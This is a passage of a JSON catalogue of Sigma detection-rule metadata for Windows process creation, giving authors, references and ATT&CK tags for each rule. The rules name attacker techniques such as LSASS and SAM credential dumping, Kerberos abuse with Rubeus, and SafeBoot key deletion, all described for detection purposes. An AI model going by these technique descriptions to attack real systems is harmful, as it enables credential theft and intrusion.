UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", "meta": { "author": "Florian Roth", "creation_date": "2019/11/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_cve_2019_1388.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", "value": "Exploiting CVE-2019-1388" }, { "description": "Detects Windows Installer service (msiexec.exe) spawning \"cmd\" or \"powershell\"", "meta": { "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa", "value": "Always Install Elevated MSI Spawned Cmd And Powershell" }, { "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/01/04", "falsepositive": [ "Command lines that use the same flags" ], "filename": "proc_creation_win_proc_dump_createdump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://twitter.com/bopin2020/status/1366400799199272960", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48", "value": "CreateDump Process Dump" }, { "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", "meta": { "author": "Nasreddine Bencherchali, Tim Shelton", "creation_date": "2022/08/08", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_reg_delete_safeboot.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de", "value": "Delete SafeBoot Keys Via Reg Utility" }, { "description": "Detects suspicious PowerShell scripts accessing SAM hives", "meta": { "author": "Florian Roth", "creation_date": "2021/07/29", "falsepositive": [ "Some rare backup scenarios", "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" ], "filename": "proc_creation_win_susp_powershell_sam_access.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/splinter_code/status/1420546784250769408", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sam_access.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1af57a4b-460a-4738-9034-db68b880c665", "value": "PowerShell SAM Copy" }, { "description": "Detects SILENTTRINITY stager use", "meta": { "author": "Aleksey Potapov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_silenttrinity_stage_use.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/byt3bl33d3r/SILENTTRINITY", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml" ], "tags": [ "attack.command_and_control", "attack.t1071" ] }, "related": [ { "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be", "value": "SILENTTRINITY Stager Execution" }, { "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", "meta": { "author": "Florian Roth", "creation_date": "2018/12/19", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_rubeus.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", "https://github.com/GhostPack/Rubeus", "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.t1558.003", "attack.lateral_movement", "attack.t1550.003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18", "value": "Rubeus Hack Tool" }, { "description": "Detects QBot like process executions", "meta": { "author": "Florian Roth", "creation_date": "2019/10/01", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_malware_qbot.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", "https://twitter.com/killamjr/status/1179034907932315648", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" ], "tags": [ "attack.execution", "attack.t1059.005" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", "value": "QBot Process Creation" }, { "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", "meta": { "author": "frack113", "creation_date": "2022/05/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_printbrm.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" ], "tags": [ "attack.command_and_control", "attack.t1105", "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7", "value": "PrintBrm ZIP Creation of Extraction" }, { "description": "Detects execution of Net.exe, whether suspicious or benign.", "meta": { "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)", "creation_date": "2019/01/16", "falsepositive": [ "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine." ], "filename": "proc_creation_win_susp_net_execution.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml" ], "tags": [ "attack.discovery", "attack.t1007", "attack.t1049", "attack.t1018", "attack.t1135", "attack.t1201", "attack.t1069.001", "attack.t1069.002", "attack.t1087.001", "attack.t1087.002", "attack.lateral_movement", "attack.t1021.002", "attack.s0039" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", "value": "Net.exe Execution" }, { "description": "Shadow Copies storage symbolic link creation using operating systems utilities", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Legitimate administrator working with shadow copies, access for backup purposes" ], "filename": "proc_creation_win_shadow_copies_access_symlink.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_access_symlink.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf", "value": "Shadow Copies Access via Symlink" }, { "description": "Detects process creation with a renamed Msdt.exe", "meta": { "author": "pH-T", "creation_date": "2022/06/03", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_renamed_msdt.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9", "value": "Renamed Msdt.exe" }, { "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", "meta": { "author": "Florian Roth", "creation_date": "2022/02/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_mal_hermetic_wiper_activity.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml" ], "tags": [ "attack.execution", "attack.lateral_movement", "attack.t1021.001" ] }, "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", "value": "Hermetic Wiper TG Process Patterns" }, { "description": "Detects the use of NSudo tool for command execution", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/01/24", "falsepositive": [ "Legitimate use by administrators" ], "filename": "proc_creation_win_tool_nsudo_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nsudo.m2team.org/en-us/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", "value": "NSudo Tool Execution" }, { "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", "meta": { "author": "frack113", "creation_date": "2022/05/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_utilityfunctions.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120", "value": "UtilityFunctions.ps1 Proxy Dll" }, { "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", "meta": { "author": "Konstantin Grishchenko, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" ], "filename": "proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", "value": "Suspicious Rundll32 Setupapi.dll Activity" }, { "description": "Identifies creation of local users via the net.exe command.", "meta": { "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", "creation_date": "2018/10/30", "falsepositive": [ "Legitimate user creation.", "Better use event IDs for user creation rather than command line rules." ], "filename": "proc_creation_win_net_user_add.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" ], "tags": [ "attack.persistence", "attack.t1136.001" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc", "value": "Net.exe User Account Creation" }, { "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", "meta": { "author": "Florian Roth", "creation_date": "2021/12/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_dtrace_kernel_dump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", "https://twitter.com/0gtweet/status/1474899714290208777?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" ], "tags": "No established tags" }, "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795", "value": "Suspicious Kernel Dump Using Dtrace" }, { "description": "Detects a suspicious RDP session redirect using tscon.exe", "meta": { "author": "Florian Roth", "creation_date": "2018/03/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_tscon_rdp_redirect.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml" ], "tags": [ "attack.lateral_movement", "attack.t1563.002", "attack.t1021.001", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb", "value": "Suspicious RDP Redirect Using TSCON" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/09/25", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_netsupport.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsupport.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f", "value": "Use of NetSupport Remote Access Software" }, { "description": "Detects Hurricane Panda Activity", "meta": { "author": "Florian Roth", "creation_date": "2019/03/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_hurricane_panda.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hurricane_panda.yml" ], "tags": [ "attack.privilege_escalation", "attack.g0009", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0eb2107b-a596-422e-b123-b389d5594ed7", "value": "Hurricane Panda Activity" }, { "description": "Detects suspicious base64 encoded and obbfuscated LOAD string often used for reflection.assembly load", "meta": { "author": "pH-T", "creation_date": "2022/03/01", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_base64_load.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1", "value": "Suspicious Encoded Obfuscated LOAD String" }, { "description": "Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass", "meta": { "author": "@pbssubhash , Nasreddine Bencherchali", "creation_date": "2022/12/08", "falsepositive": [ "Windows Error Reporting might produce similar behavior. In that case, check the PID associated with the \"-p\" parameter in the CommandLine." ], "filename": "proc_creation_win_lsass_shtinkering.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/deepinstinct/Lsass-Shtinkering", "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_shtinkering.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ff3", "value": "Potential Credential Dumping Via WER" }, { "description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", "meta": { "author": "Victor Sergeev, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_ftp.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml" ], "tags": [ "attack.execution", "attack.t1059", "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c", "value": "Renamed FTP.EXE Binary Execution" }, { "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", "meta": { "author": "Aedan Russell, frack113 (sigma)", "creation_date": "2022/06/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_chrome_load_extension.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/chromeloader/", "https://emkc.org/s/RJjuLa", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chrome_load_extension.yml" ], "tags": [ "attack.persistence", "attack.t1176" ] }, "related": [ { "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", "value": "Powershell ChromeLoader Browser Hijacker" }, { "description": "Detects command line parameters or strings often used by crypto miners", "meta": { "author": "Florian Roth", "creation_date": "2021/10/26", "falsepositive": [ "Legitimate use of crypto miners", "Some build frameworks" ], "filename": "proc_creation_win_crypto_mining_monero.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.poolwatch.io/coin/monero", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml" ], "tags": [ "attack.impact", "attack.t1496" ] }, "related": [ { "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", "value": "Windows Crypto Mining Indicators" }, { "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format", "meta": { "author": "frack113", "creation_date": "2022/05/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_jsc.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568", "value": "JSC Convert Javascript To Executable" }, { "description": "Detects various anomalies in relation to regsvr32.exe", "meta": { "author": "Florian Roth, oscd.community, Tim Shelton", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_regsvr32_anomalies.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010", "car.2019-04-002", "car.2019-04-003" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8e2b24c9-4add-46a0-b4bb-0057b4e6187d", "value": "Regsvr32 Anomaly" }, { "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_schtasks_disable.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/MichalKoczwara/status/1553634816016498688", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml" ], "tags": [ "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", "value": "Disable Important Scheduled Task" }, { "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/13", "falsepositive": [ "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" ], "filename": "proc_creation_win_lolbin_msdt_answer_file.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.execution" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955", "value": "Execute MSDT Via Answer File" }, { "description": "Detects suspicious PowerShell invocation with a parameter substring", "meta": { "author": "Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", "creation_date": "2019/01/16", 